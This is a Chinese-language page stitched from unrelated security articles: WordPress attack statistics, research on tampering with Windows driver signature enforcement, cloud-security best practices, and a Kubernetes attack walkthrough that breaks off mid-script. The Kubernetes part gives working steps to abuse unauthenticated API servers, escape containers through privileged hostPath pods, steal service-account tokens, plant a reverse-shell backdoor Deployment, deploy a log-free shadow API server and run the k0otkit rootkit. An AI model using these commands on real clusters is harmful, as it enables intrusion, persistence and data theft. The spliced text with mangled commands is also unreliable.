標題黨和廣告網站的趨勢研究人員使用Cortex Xpanse和其他工具跟踪分析了漏洞趨勢。除了CVE-2023-3169之外，研究人員還跟踪受其他漏洞影響的網站。
在2023年9月15日至22日的樣本分析中，研究人員監控了1600個隨機選擇的WordPress網站的數據集，有用戶試圖訪問受攻擊的網站。
結果顯示，與其他類別相比，流量黨和廣告網站的受害比例接近三比一。下圖顯示了研究人員每週檢測的平均值：
檢測受攻擊WordPress網站
無論是來自CVE-2023-3169還是其他漏洞，與其他類別相比，受攻擊的標題黨和廣告網站的數量都始終更高。
總結當研究人員通過分析被攻擊網站的指標時，通過與其他類別相比，研究人員依舊看到大量被攻擊的標題黨和廣告網站。
這些網站通常使用過時或未修復的軟件，有可能觸及大量受害者，使其成為攻擊者的誘人目標。因此，標題黨文章本身就存在風險，讀者應該意識到這種風險，並相應地調整他們的瀏覽習慣。
Windows DSE（Driver Signature Enforcement）即任何驅動程序或第三方程式都要經過微軟簽名才能確保為正版、安全的程序。代碼完整性是15 年前由Microsoft 首次推出的威脅防護功能。在基於x64 的Windows 版本上，內核模式驅動程序必須在每次加載到內存時進行數字簽名和檢查，這也被稱為驅動強制簽名(DSE)，檢測是否將未簽名的驅動程序或系統文件加載到內核中，或系統文件是否被修改(可能由具有管理權限的惡意軟件運行)，可以提高操作系統的安全性。
為了克服這些限制，攻擊者使用有效的數字證書（無論是頒發給他們的還是他們竊取的）或者他們在運行時禁用DSE。獲得證書的難度很大，但篡改證書則純粹是一個技術上的挑戰。
儘管微軟近年來一直在致力於解決驅動強制簽名方面存在的問題，並提供了一系列解決方案，但利用眾所周知，篡改DSE的方法越來越多，用此方法攻擊的案例也明顯增加，這促使我們要深入地研究這個問題。
我們會在本文分享我們的研究結果，以及兩種DSE篡改方法的細節。
DSE實現過程j00ru是谷歌項目Zero的一名安全研究員，他層發表了一篇關於Windows 7中代碼完整性實現的介紹。
ntoskrnl.exe與附加的內核庫CI.dll(代碼完整性)一起工作。在操作系統初始化階段，內核設置nt!g_CiEnabled 並使用指向nt!g_CiCallbacks 結構的指針調用CI!CiInitialize 例程來初始化CI.dll。它依次設置CI!g_CiOptions 並在返回內核之前填充CI!CiValidateImageHeader、CI!CiValidateImageData 和CI!CiQueryInformation 回調的地址。
要使用回調函數，包裝器函數存在於ntoskrnl.exe中。他們檢查那個nt!g_CiEnabled設置為TRUE，適當的回調不是NULL，然後調用它。
當內核加載驅動程序時，執行通過nt!MmLoadSystemImage 到nt!MmCreateSection 並最終到nt!MiValidateImageHeader 例程。這樣，依次調用nt!SeValidateImageHeader 和nt!SeValidateImageData 包裝器。每個回調都應在成功時返回零，否則返回非零值。
驅動程序加載時的調用堆棧
“Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats”一書詳細說明了Windows 8 中的實現更改過程：刪除nt!g_CiEnabled 變量，因此DSE 狀態僅由CI!g_CiOptions 確定，更多回調函數被添加到CI.dll提供的接口中。書中沒有描述的另一個變化是，如果驗證標頭成功，那麼驗證數據回調將不會被調用。
在Windows 8.1上，回調結構的符號名稱被更改為nt!SeCiCallbacks。
內核模式簽名策略除了簽名的加密有效性之外，微軟強制簽名證書只能由支持CA 的交叉證書頒發。這可以防止攻擊者簡單地在每台計算機上安裝自己的CA證書。
從Windows 10Redstone開始(2016年8月發布)，驅動程序簽名策略有所改變，需要微軟自己進行第二次簽名。這是通過一個web門戶網站完成的，在那裡開發人員上傳他們的簽名二進製文件，並將它們發送給微軟。從攻擊者的角度來看，這意味著將你的有效載荷傳播給防御者，這與他們通常想要的相反。至少有一個記錄在案的案例表明，這種新措施沒有阻止攻擊者。
內核補丁保護KPP 或PatchGuard 於2005 年首次推出，是x64 版Windows 的一項功能，可防止修補內核。 “修補內核”是指修改ntoskrnl.exe 和其他關鍵系統驅動程序和數據結構（SSDT、IDT、GDT 等）的代碼。
它通過定期檢查這些受保護區域是否被修改而工作。如果檢測到系統被修改，則會觸發藍屏，使系統停止。 PatchGuard在每一個新的Windows版本中都會更新，這使得攻擊者很難開發出適用於所有版本的通用繞過技術。
ntoskrnl.exe中的回調結構和CI!g_CiOptions變量分別從Windows 8和Windows 8.1開始受PatchGuard保護。
DSE在野外被篡改儘管j00ru 得出結論，重寫nt!g_CiEnabled 或CI!g_CiOptions 等私有符號可能相對困難，但這正是攻擊者選擇的方向。眾所周知，臭名昭著的Turla APT 開發了這種技術，安全研究人員對其進行了逆向工程並發布了他們的代碼。
這些私有符號通過簡單的模式匹配來定位，幾乎不需要任何更改：
常規PTE 順著SLAT PTE 突出顯示差異
在x86架構上，SLAT pte (Page Table Entries)處理權限不同於常規的PTE：讀\寫權限是分開的，執行權限需要顯式設置，並且只能為ring 0(內核模式)授權。 hypervisor使用SLAT 頁表來強制VTL 之間的隔離並使VTL1 可以訪問它們，所以安全內核使用它們來實現VBS特性，而hypervisor本身並不為這些功能本身實現任何代碼/邏輯。
受HyperVisor 保護的代碼完整性HVCI，最初稱為Device Guard，是隨著VBS 的引入而發布的，這是完整性執行的另一層。
加載新驅動程序後，安全內核也會被觸發並使用其自己的代碼完整性庫SKCI.dll（安全內核代碼完整性）實例。在Secure World (VTL1) 中的當前策略中驗證並檢查數字簽名以得到授權。只有這樣才能將可執行和不可寫權限應用於相應GPA 的SLAT 頁表。因此，NT 內核(VTL0) 不能修改任何以前加載的代碼或運行任何新代碼，而無需在進程中使用安全內核。
Windows 10 SKCI.dll 中SkciInialize 及其自身CiOptions 變量的反彙編
內核數據保護KDP 旨在保護在Windows 內核（即操作系統代碼本身）中運行的驅動程序和軟件免受數據驅動的攻擊。它最初是在Windows 10 20H1 中引入的。
使用KDP，在內核模式下運行的軟件可以靜態（其自身映像的一部分）或動態（只能初始化一次的池內存）保護只讀內存。 KDP 僅在VTL1 中為支持受保護內存區域的GPA 建立寫保護，使用SLAT 頁表供管理程序強制執行。這樣，在NT 內核(VTL0) 中運行的任何軟件都不能擁有更改內存所需的權限。
KDP並不強制如何轉換受保護區域的GVA範圍映射，根據開發人員的介紹，KDP目前只定期驗證受保護的內存區域是否轉換為適當的GPA。
從Windows 11 開始，CI.dll 選擇使用靜態KDP (MmProtectDriverSection API) 來強化自身，將所有相關的CI 策略變量放置在名為“CiPolicy”的單獨部分中。
Windows 11 中CI.dll 中CiInitializePolicy 和CiPolicy 部分的反彙編
驅動程序阻止列表這是通過Windows Defender 應用程序控制(WDAC) 或HVCI 策略強制執行的，目前已有一些第三方安全產品供應商也採用了這種做法。可以在此處找到最新的阻止列表。
阻止列表拒絕攻擊者輕鬆訪問內核寫入原語。雖然它非常有效，但它不是一種主動措施，只能處理以前發現的驅動程序。因此，這種緩解措施對驅動程序中的零日漏洞無效，防御者必須不斷追踪它們，始終落後於攻擊者一步。
新的篡改發現技術從上面的描述中，敏銳的讀者可以看到，如果沒有啟用HVCI，則可能在不進行任何代碼修補的情況下篡改DSE。
方法一：“頁面交換”
僅僅因為不再可能寫入CI!CiOptions 並不意味著它的值不能改變。該變量仍被虛擬地址訪問，並且每次都會發生到物理地址的轉換過程。因此，我們將改為更改翻譯結果。
通過將物理頁面從受KDP 保護的頁面交換到我們擁有的頁面，我們重新獲得了對內存的完全控制權。交換GPA 僅意味著更改PTE（頁表條目）中的PFN（頁幀號），它本質上只是另一個指針。
我們可以為任何給定的虛擬地址計算PTE 的虛擬地址，避免每次遍歷所有頁表。頁表位於Windows 內核用來管理分頁結構的虛擬內存區域中，稱為“PTE 空間”。 PTE Base 由KASLR（內核地址空間佈局隨機化）隨機化，從Windows 10 Redstone 開始。在之前的研究中，我們展示了一種可靠的方法來找到它。
除了寫入之外，執行此方法還需要內核讀取和內存分配原語。以下是C 偽代碼的分步實現過程:
頁面交換的C偽代碼
可以使用來自用戶空間的頁面，因此內核內存分配原語變得多餘。對於CI.dll，可以使用變量的默認值而不是複制頁面。結果，內核空間的讀取次數顯著減少，因為只剩下少數必要的PTE 讀取。
方法二：“回調交換”有一段時間，KDP 似乎提高了防止DSE 篡改的門檻，因為頁面交換也需要內核讀取原語。我們再次查看了CI.dll 和ntoskrnl.exe 是如何集成的，然後我們想，“為什麼要使用CI.dll 呢？讓我們使用自己的回調而不是CI!CiValidateImageHeader”。
回調交換演示
上圖證明無需讀取任何內核空間數據即可找到所有必要的地址，具體過程如下:
首先，在ntoskrnl.exe 中找到回調結構。該結構作為參數傳遞給CI!CiInitialize，這樣我們就可以從調用中獲得它的地址。內核只調用該函數一次，因此我們查找使用其導入表條目的CALL或JMP指令。找到調用站點後，返回到“.data”部分中指向未初始化內存的參數的寄存器分配。
在Windows 11的ntoskrnl.exe中反彙編SepInitializeCodeIntegrity和SeCiCallbacks
接下來，尋找要使用的替換回調函數。我們需要一個不帶參數並返回零的函數。幸運的是，ntoskrnl.exe 有一些符合此要求的導出函數，例如FsRtlSyncVolumes 或ZwFlushInstructionCache，因此只需調用GetProcAddress 即可。
最後，找到要恢復的原始回調函數。回調由CI!CipInitialize 在結構中設置，因此它將引用所有回調。所有回調都設置在所有Windows 構建的單個基本代碼塊中。搜索這種指令模式，如下圖所示，並從lea 指令中提取偏移量。要驗證偏移量是否確實導致函數，遍歷PE 的異常目錄以查找具有相同起始地址的RUNTIME_FUNCTION 條目。
Windows 11中CI.dll中CipInitialize的反彙編
KDP 保護被“設計”繞過，因為ntoskrnl.exe 沒有選擇使用回調結構。更改回調的另一個優點是篡改通過記錄的查詢系統信息API 不可見。
雖然解析地址可能需要多行代碼，但它是在用戶空間中完成的，因此只需要內核寫入原語，這與當前眾所周知的DSE 篡改方法相同。儘管PoC 向內核空間寫入了8 個字節（64 位指針的大小），但可以通過在CI.dll 中查找回調目標來減少這個數字。在撰寫本文時，來自TrustedSec的Adam Chester也發布了一篇最新的研究文章，他選擇了一種替代方法，通過掃描他創建的二進制簽名來找到原始回調。
緩解措施HVCI 涵蓋了所有篡改方法，因為它在加載驅動程序時執行自己的驗證。儘管HVCI 已經存在多年，但直到最近才在新的Windows 安裝中默認啟用。因此，我們一定要想出一個替代方案。
我們試圖找到一種方法來在驅動程序加載期間確認DSE 的狀態。此外，一個將支持程序的阻塞。在這一點上，如何獲得DSE 狀態的可見性應該是顯而易見的，防御者可以利用攻擊者用來查找內部變量的相同策略。畢竟，它已被證明是穩定的。
考慮到一個被篡改的狀態只能持續很短的時間，假設我們開始運行時系統狀態是有效的是合理的。此時，將保留內部變量的副本。
有3個選項可以攔截驅動程序加載：
1.在NtLoadDriver API 的用戶空間中放置一個鉤子。
2.使用註冊表回調來監視驅動程序註冊表項路徑上的操作。
3.使用文件系統微過濾器回調來創建驅動程序文件的部分(IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION)。
要知道回調是否作為驅動程序加載的一部分被觸發，它需要檢查當前進程是SYSTEM 並且調用堆棧源自ntoskrnl.exe 而不是任何其他驅動程序。
一旦驅動程序加載被攔截，通過檢查任何變量的變化來檢測DSE 篡改。此時，可以簡單地通過使用錯誤狀態代碼阻止I\O 請求或將變量恢復到其保存狀態來進行預防。
總結我們在本文中介紹了微軟如何嘗試在運行時保護DSE，並介紹了兩種新方法來篡改它並成功加載未簽名的驅動程序。
雖然HVCI 提供了最強大的解決方案，但我們共享了一種額外的方法來檢測和防止DSE 在運行時篡改。在內核模式下執行代碼對攻擊者仍然具有吸引力，因為它通常是破壞計算機上更高特權元素（例如管理程序、UEFI 和SMM）或擊敗終端安全產品的必備手段。我們可能會看到TTP 的轉變，由於驅動程序阻止列表，攻擊者會轉向使用更多的內核1日漏洞來利用未修補的漏洞。
隨著硬件輔助的安全功能變得越來越普遍，以及微軟致力於利用它們的努力，攻擊者利用DSE 篡改可能會在可預見的未來逐漸消失。儘管如此，配置錯誤和老舊系統仍將存在這種攻擊。
儘管與現場資源相比，雲計算為組織帶來了許多優勢，但它仍然容易受到內部和外部攻擊。為了確保云中應用程序的安全，請考慮已知的雲漏洞和數據保護最佳實踐。
在本文中，我們概述了雲計算技術的關鍵漏洞，然後了解了雲計算最常見的攻擊類型。最後，我們考慮行業最佳實踐和我們自己的經驗，就如何確保基於雲的解決方案的安全性提供實用建議。
本文對於希望在其解決方案中使用雲計算並確保其受到保護的開發和產品領導者非常有用。
雲計算攻擊有多危險？
雲計算為組織提供了大量面向業務的優勢：降低基礎設施成本、本地硬件零費用、可容納任意數量用戶的即時可擴展性等。但從網絡安全的角度來看，雲計算可以使與本地部署相比，應用程序更容易受到威脅和攻擊。
雲計算技術的漏洞導致了2023 年迄今為止最嚴重的一些數據洩露事件。以下是幾個雲攻擊示例：
大規模MOVEit 黑客攻擊。 MOVEit 是一款使用FTP 和雲基礎設施傳輸文件的工具，於2023 年6 月遭受勒索軟件攻擊。 Clop 黑客組織濫用安全漏洞竊取通過MOVEit 傳輸的敏感數據。其中包括來自美國大學、公共部門組織、銀行、能源和製造公司以及法律服務提供商的數據。至少有1500 萬人受到影響。美國國務院懸賞1000 萬美元，以獲取有關克洛普組織的信息。
兩次T-Mobile 違規事件。 T-Mobile 透露，他們在2023 年2 月和3 月經歷了兩次大規模數據洩露，洩露了超過3700 萬客戶的數據。該公司聲稱，黑客通過未受授權保護的API 訪問了此信息。
美國軍方電子郵件洩露。 2023 年2 月，安全研究員Anurag Sen 發現Microsoft Azure 中託管了一個不安全的美國國防部電子郵件服務器。該服務器存儲了約3 TB 的敏感軍事和個人信息，沒有密碼保護。
雲基礎設施和應用程序遭到破壞通常會導致敏感數據洩露、耗時且成本高昂的內部調查、聲譽和業務損失以及其他負面後果。讓我們看一下導致此類洩露的關鍵雲計算漏洞。
常見的雲計算漏洞在雲環境中，網絡安全責任在雲服務提供商(CSP) 和客戶之間劃分。這種劃分使數據保護變得更加複雜，因為它為惡意行為者創造了更多的入口點，並為人為錯誤創造了空間。根據所選擇的雲計算模型，雙方的責任也有所不同。
讓我們看一下一些可能成為雲攻擊媒介的常見漏洞：
安全配置錯誤。 AWS、Google Cloud 和Azure 等主要CSP 為其客戶提供多種方法來配置其環境的安全性。開發人員可以為存儲、基礎設施元素、虛擬機等設置額外的保護措施。但開發人員也可能由於以下原因而錯誤配置環境：
人為錯誤
CSP 提供的文檔不完整
隱藏或不明顯的設置
惡意行為者可能會濫用配置錯誤的雲環境來訪問敏感數據或控制雲應用程序或環境。
訪問管理薄弱。對雲資源的訪問應通過多重身份驗證(MFA)、密碼管理、可配置的訪問權限等進行保護。理想情況下，在系統驗證其身份、憑證和訪問權限後，用戶應該只能訪問他們需要的資源。
當CSP 沒有提供足夠的訪問保護功能或云管理員忽視使用它們時，黑客就可以獲得對敏感資源的訪問權限。
不受保護的API。 API 允許用戶與基於雲的服務交互。 API 中的漏洞可能會嚴重影響基於雲的應用程序的安全性。例如，API 可能會過度共享訪問信息、授予應用程序內部不必要的可見性，或者忽略服務的流量限制。
這就是黑客經常使用雲API 來未經授權訪問數據或執行拒絕服務(DoS) 攻擊的原因。
容易受到DoS 攻擊。雲計算的主要優勢之一是雲應用程序的24/7 可用性。如果組織和CSP 未能實施DoS 保護機制，惡意行為者可能會向其實例發送垃圾郵件請求，並使合法用戶無法使用它們。
這樣，組織可能會失去對其敏感數據和內部雲託管應用程序的訪問權限，或者無法為其用戶提供服務。在某些情況下，黑客還會向組織索要贖金以阻止DoS 攻擊。
帳戶劫持和洩露。對雲基礎設施和應用程序的特權訪問通常是黑客攻擊的目標。使用管理員的憑據，黑客可以在沒有人注意到的情況下滲透到組織中。
由於社會工程、未能保護管理員憑據、跨站點腳本和緩衝區溢出攻擊，或者未能檢測到鍵盤記錄程序和類似惡意軟件，可能會發生帳戶洩露。
密碼學較弱或不存在。儘管雲提供商使用加密算法來保護存儲中的數據，但他們通常依賴有限的熵源來自動生成用於數據加密的隨機數。例如，基於Linux 的虛擬機從精確的毫秒內生成隨機密鑰。可能需要更靈活的方式來確保強大的數據加密，因為攻擊者還使用複雜的解碼機制來破解信息。
因此，您的團隊應該在將數據移動到雲之前考慮如何保護數據。
共享技術漏洞。雲計算涉及虛擬化和雲編排等共享技術的使用。通過利用這些技術任何部分的漏洞，攻擊者可能會對許多雲用戶造成重大損害。
虛擬機管理程序中的弱點可能使黑客能夠控制虛擬機甚至主機本身。如果黑客逃離虛擬機，他們可以通過共享資源不受限制地訪問主機。有必要注意您委託雲解決方案的雲提供商的安全性。
確保云計算安全的7 個最佳實踐雲服務的動態特性打破了傳統的現場軟件安全模型。顯然，組織不能完全依賴其CSP 來保護雲計算環境，需要付出額外的努力來確保數據保護。
在Apriorit，我們努力在開發、雲基礎設施配置和維護過程中保護雲應用程序的安全。以下是我們用來防止雲計算解決方案受到安全攻擊的關鍵做法：
1.使用身份管理身份管理允許雲環境在授予用戶訪問受保護資源之前驗證用戶的身份。這種簡單但有效的措施使惡意行為者更難使用竊取的憑據來訪問敏感信息。
所有主要的CPS 都提供一些身份管理功能。為新項目選擇可靠的CSP 時，我們始終評估其以下功能：
多重身份驗證
靜態和動態密碼的使用和管理
如果需要，使用硬件令牌或生物識別技術
與身份服務集成
請記住，在應用程序維護期間，您的團隊必須定期檢查身份管理配置、進行審核並保護或刪除任何可疑的身份和令牌。
2、實施准入管理一旦獲得云環境的訪問權限，用戶應該只能與他們需要的資源進行交互。為用戶提供對任何資源的不受限制的訪問會帶來遭受內部攻擊的風險，並增加憑證盜竊可能造成的損害。
為了保證服務的安全，雲應用開發者應該對不同的管理員、特權用戶、第三方和普通用戶實施基於角色的權限。這樣，應用程序所有者可以配置訪問權限、建立訪問策略並限制對其云基礎設施可能產生的影響。
此外，雲編排應使特權用戶能夠根據公司內的職責建立其他用戶的權限範圍。
3. 強制數據加密雲環境中的數據在傳輸和存儲的各個階段都需要加密：
在源頭（用戶端）
傳輸中（從用戶傳輸到雲服務器的過程中）
靜止時（存儲在雲數據庫中時）
現代數據加密和標記化技術可以有效防禦帳戶劫持。此外，證明端到端加密對於保護傳輸中的數據免受中間人攻擊也很重要。使用包含鹽和哈希值的強大加密算法可以有效地抵禦網絡攻擊。
即使端到端加密數據被洩露，黑客也無法使用它，因為他們無法解密、讀取和使用它。
4. 實施入侵預防和檢測機制許多CSP 為其客戶提供內置的入侵檢測和防禦系統，用於監視網絡流量或客戶端基礎設施中的機器，以檢測惡意活動和可疑用戶行為。
在開發基於雲的解決方案時，開發人員應啟用入侵檢測系統並確保其按預期工作，以確保云攻擊的預防。他們還可以實施自定義入侵檢測或確保客戶可以將其解決方案集成到第三方系統中。
5. 安全API 和訪問云開發人員應確保客戶端只能通過安全API 訪問應用程序。如果不加保護，API 可能會洩露敏感數據，為黑客提供對雲基礎設施的訪問權限，並導致DoS 攻擊。
常見的API保護措施包括：
使用Web 應用程序防火牆
限制允許的請求數量
審查和限制API 訪問權限
實施OAuth 2.0 進行身份驗證
加密API 響應
6.定期進行網絡安全審計安全審核可幫助雲應用程序開發人員檢測他們忽視的雲錯誤配置、漏洞和過時的數據保護機制，並改善其解決方案的整體網絡安全狀況。
作為一家面向網絡安全的開發公司，我們為客戶對基於雲的解決方案進行獨立審核。在審核過程中，我們特別關注：
身份驗證和訪問控制
雲存儲、計算端點、網絡和其他元素的配置
數據庫的狀態、應用的加密機制和備份過程
遵守適用於客戶解決方案的要求和法規
為了進行審核，我們使用基於CSP 推薦的最佳實踐以及我們在給定雲平台方面的經驗的清單。您可以檢查我們的審核AWS和Azure環境的清單。
審核後，我們向客戶提供有關檢測到的漏洞和改進可能性的詳細報告。我們還提供有關如何提高雲應用程序或服務安全性的建議。
7.收集日誌雲環境內所有活動的詳細日誌對於進行安全審計、調查事件、研究漏洞等至關重要。這就是為什麼任何基於雲的解決方案都應該能夠記錄盡可能多的有關其工作的信息。
記錄用戶和網絡活動、基礎設施元素的狀態和配置的變化以及雲內的數據流被認為是一種很好的做法。這些日誌在任何狀態下都應該加密。許多開發人員還添加了一個選項，將他們的解決方案與流行的SIEM 集成，並允許其安全地共享日誌。
結論云計算技術因其諸多優點而深受用戶歡迎。然而，雲技術也引入了漏洞，可能導致毀滅性且代價高昂的網絡攻擊。通過了解和保護雲計算技術的脆弱元素，開發人員可以更好地保護他們的產品免受不同類型的雲攻擊。
隨著越來越多企業開始上雲的步伐，在攻防演練中常常碰到雲相關的場景，例如：公有云、私有云、混合雲、虛擬化集群等。以往滲透路徑是「外網突破- 提權- 權限維持- 信息收集- 橫向移動- 循環收集信息」，直到獲得重要目標系統。但隨著業務上雲以及虛擬化技術的引入改變了這種格局，也打開了新的入侵路徑，例如：
l通過虛擬機攻擊雲管理平台，利用管理平台控制所有機器
l通過容器進行逃逸，從而控制宿主機以及橫向滲透到K8s Master節點控制所有容器
l利用KVM-QEMU/執行逃逸獲取宿主機，進入物理網絡橫向移動控制雲平台
目前互聯網上針對雲原生場景下的攻擊手法零零散散的較多，僅有一些廠商發布過相關矩陣技術，但沒有過多的細節展示，本文基於微軟發布的Kubernetes威脅矩陣進行擴展，介紹相關的具體攻擊方法。
紅色標誌是攻擊者最為關注的技術點。
初始訪問lAPI Server未授權訪問
lkubelet未授權訪問
lDocker Daemon 公網暴露
lK8s configfile 洩露
API Server未授權訪問API Server作為K8s集群的管理入口，通常使用8080 和6443 端口，其中8080 端口無需認證，6443 端口需要認證且有TLS 保護。如果開發者使用8080 端口，並將其暴露在公網上，攻擊者就可以通過該端口的API，直接對集群下髮指令。
另一種場景是運維人員配置不當，將'system:anonymous'用戶綁定到'cluster-admin'用戶組，從而使6443端口允許匿名用戶以管理員權限向集群內部下髮指令。
#查看pods
https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500
#創建特權容器
https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444
{'apiVersion':'v1','kind':'Pod','metadata':{'annotations':{'kubectl.kubernetes.io/last-applied-configuration':'{\'apiVersion\':\'v1\',\'kind\':\'Pod\',\'metadata\':{\'annotations\'33 360{},\'name\':\'test-4444\',\'namespace\':\'default\'},\'spec\':{\'containers\':[{\'image\':\'nginx:1.14.2\',\'name\':\'test-4444\',\'volumeMounts\':[{\'mountPath\':\'/host\',\'n ame\':\'host\'}]}],\'volumes\':[{\'hostPath\':{\'path\':\'/\',\'type\':\'Directory\'},\'name\':\'host\'}]}}\n'},'name':'test-4444','namespace':'default'},'spec':{'containers': [{'image':'nginx:1.14.2','name':'test-4444','volumeMounts':[{'mountPath':'/host','name':'host'}]}],'volumes':[{'hostPath':{'path':'/','type':'Directory'},'name':'host'}]}}
#執行命令
https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami創建特權容器詳細解釋：
創建特權容器
K8s configfile 洩露K8s configfile作為K8s集群的管理憑證，其中包含有關K8s集群的詳細信息（API Server、登錄憑證）。
如果攻擊者能夠訪問到此文件(如辦公網員工機器入侵、洩露到Github 的代碼等)，就可以直接通過API Server 接管K8s 集群，帶來風險隱患。
用戶憑證保存在kubeconfig 文件中，kubectl 通過以下順序來找到kubeconfig 文件：
1.如果提供了--kubeconfig參數，就使用提供的kubeconfig 文件。
2.如果沒有提供--kubeconfig 參數，但設置了環境變量$KUBECONFIG，則使用該環境變量提供的kubeconfig 文件。
3.如果以上兩種情況都沒有，kubectl 就使用默認的kubeconfig 文件$HOME/.kube/config。
拿到K8s configfile完整利用流程：
K8s configfile -- 創建後門Pod/掛載主機路徑-- 通過Kubectl進入容器-- 利用掛載目錄逃逸。
#Linux安裝kubectl
curl-LO'https://dl.k8s.io/release/$(curl-L-shttps://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl'
sudoinstall-oroot-groot-m0755kubectl/usr/local/bin/kubectl
#內容放入config、或指定選項，需要修改Server地址
kubectl--kubeconfigk8s.yaml
#獲取已接取的鏡像
kubectlgetpods--all-namespaces--insecure-skip-tls-verify=true-ojsonpath='{.image}'|tr-s'[[:space:]]''\n'|sort|uniq-c
#創建Podpod.yaml，將宿主機根目錄掛載host文件
apiVersion:v1
kind:Pod
metadata:
name:test-444
spec:
containers:
-name:test-444
image:nginx:1.14.2
volumeMounts:
-name:host
mountPath:/host
volumes:
-name:host
hostPath:
path:/
type:Directory
#在default命名空間中創建pod
kubectlapply-fpod.yaml-ndefault--insecure-skip-tls-verify=true
#進入容器中
kubectlexec-ittest-444bash-ndefault--insecure-skip-tls-verify=true
#切換bash，逃逸成功
cd/host
chroot./bashDocker Daemon 公網暴露Docker以C/S模式工作，其中docker daemon服務在後台運行，負責管理容器的創建、運行和停止操作。
在Linux主機上，docker daemon監聽在/var/run/docker.sock中創建的unix socket，2375端口用於未認證的HTTP通信，2376用於可信HTTPS通信。
在最初版本安裝Docker時默認會把2375端口對外開放，目前默認只允許本地訪問。
管理員開啟遠程訪問的配置如下：
#開啟遠程訪問
vim/lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd-Hfd://-Htcp://0.0.0.0:2375-containerd=/run/containerd/containerd.sockDocker Daemon未授權訪問的檢測與利用：
#探測是否訪問未授權訪問
curlhttp://192.168.238.129:2375/info
docker-Htcp://192.168.238.129:2375info
#推薦使用這種方式，操作方便。
exportDOCKER_HOST='tcp://192.168.238.129:2375'Docker Daemon未授權實戰案例：
執行l利用Service Account
nCURL方式請求
nkubectl方式請求
利用Service AccountK8s集群創建的Pod中，容器內部默認攜帶K8s Service Account的認證憑據，路徑為：(/run/secrets/kubernetes.io/serviceaccount/token)
如運維配置不當沒有設置RBAC（基於角色的訪問控制）,那麼攻擊者就可以通過Pod獲取到Token進行API Server認證。
在較低版本v1.15.11中,Kubernetes默認是不會開啟RBAC控制，從1.16版本起，默認啟用RBAC訪問控制策略。從1.18開始，RBAC已作為穩定的功能。
下面就是利用Pod中的Token訪問API Server的一種場景：
#指向內部API服務器主機名
exportAPISERVER=https://${KUBERNETES_SERVICE_HOST}
#設置ServiceAccount令牌的路徑
exportSERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
#讀取pods命名空間並將其設置為變量。
exportNAMESPACE=$(cat${SERVICEACCOUNT}/namespace)
#讀取ServiceAccount不記名令牌
exportTOKEN=$(cat${SERVICEACCOUNT}/token)
#CACERT路徑
exportCACERT=${SERVICEACCOUNT}/ca.crt
執行以下命令查看當前集群中所有Namespaces。
curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces
#寫入yaml,創建特權Pod
catnginx-pod.yamlEOF
apiVersion:v1
kind:Pod
metadata:
name:test-444
spec:
containers:
-name:test-444
image:nginx:1.14.2
volumeMounts:
-name:host
mountPath:/host
volumes:
-name:host
hostPath:
path:/
type:Directory
EOF
#創建pod
curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-k${APISERVER}/api/v1/namespaces/default/pods-XPOST--header'content-type:application/yaml'--data-binary@nginx-pod.yaml
#查看信息
curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces/default/pods/nginx
#執行命令
curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=lscommand=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=lscommand=-lcontainer=nginxstdin=truestdout=truetty=true持久化lDaemonSets、Deployments
lShadow API
lRootkit
lcronjob持久化
Deployment創建容器時，通過啟用DaemonSets、Deployments，可以使容器和子容器即使被清理掉了也可以恢復，攻擊者經常利用這個特性進行持久化，涉及的概念有：
lReplicationController（RC）
ReplicationController確保在任何時候都有特定數量的Pod 副本處於運行狀態。
lReplication Set（RS）
Replication Set簡稱RS，官方已經推薦我們使用RS和Deployment來代替RC了，實際上RS和RC的功能基本一致，目前唯一的一個區別就是RC只支持基於等式的selector
lDeployment
主要職責和RC一樣，的都是保證Pod的數量和健康，二者大部分功能都是完全一致的，可以看成是一個升級版的RC控制器
官方組件kube-dns、kube-proxy也都是使用的Deployment來管理
這裡使用Deployment來部署後門
#dep.yaml
apiVersion:apps/v1
kind:Deployment#確保在任何時候都有特定數量的Pod副本處於運行狀態
metadata:
name:nginx-deploy
labels:
k8s-app:nginx-demo
spec:
replicas:3#指定Pod副本數量
selector:
matchLabels:
app:nginx
template:
metadata:
labels:
app:nginx
spec:
hostNetwork:true
hostPID:true
containers:
-name:nginx
image:nginx:1.7.9
imagePullPolicy:IfNotPresent
command:['bash']#反彈Shell
args:['-c','bash-i/dev/tcp/192.168.238.130/424201']
securityContext:
privileged:true#特權模式
volumeMounts:
-mountPath:/host
name:host-root
volumes:
-name:host-root
hostPath:
path:/
type:Directory
#創建
kubectlcreate-fdep.yamlShadow API Server如果部署了一個shadow apiserver，那麼該apiserver具有和集群中現在的apiserver一致的功能。同時開啟了全部k8s權限，接受匿名請求且不保存審計日誌，這將方便攻擊者無痕蹟的管理整個集群以及進行後續滲透行動。
Shadow API Server的配置與利用：
配置文件路徑：
/etc/systemd/system/kube-apiserver-test.service
#一鍵部署Shadowapiserver
./cdkrunk8s-shadow-apiserverdefault
#一鍵部署將在配置文件中添加瞭如下選項：
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
#kcurl訪問與利用
./cdkkcurlanonymousgethttps://192.168.1.44:9443/api/v1/secretsRootkit這裡介紹一個k8s的rootkit，k0otkit 是一種通用的後滲透技術，可用於對Kubernetes 集群的滲透。使用k0otkit，您可以以快速、隱蔽和連續的方式（反向shell）操作目標Kubernetes 集群中的所有節點。
K0otkit使用到的技術：
lDaemonSet和Secret資源（快速持續反彈、資源分離）
lkube-proxy鏡像（就地取材）
l動態容器注入（高隱蔽性）
lMeterpreter（流量加密）
l無文件攻擊（高隱蔽性）
#生成k0otkit
./pre_exp.sh
#監聽
./handle_multi_reverse_shell.sh
k0otkit.sh的內容複製到master執行：
volume_name=cache
mount_path=/var/kube-proxy-cache
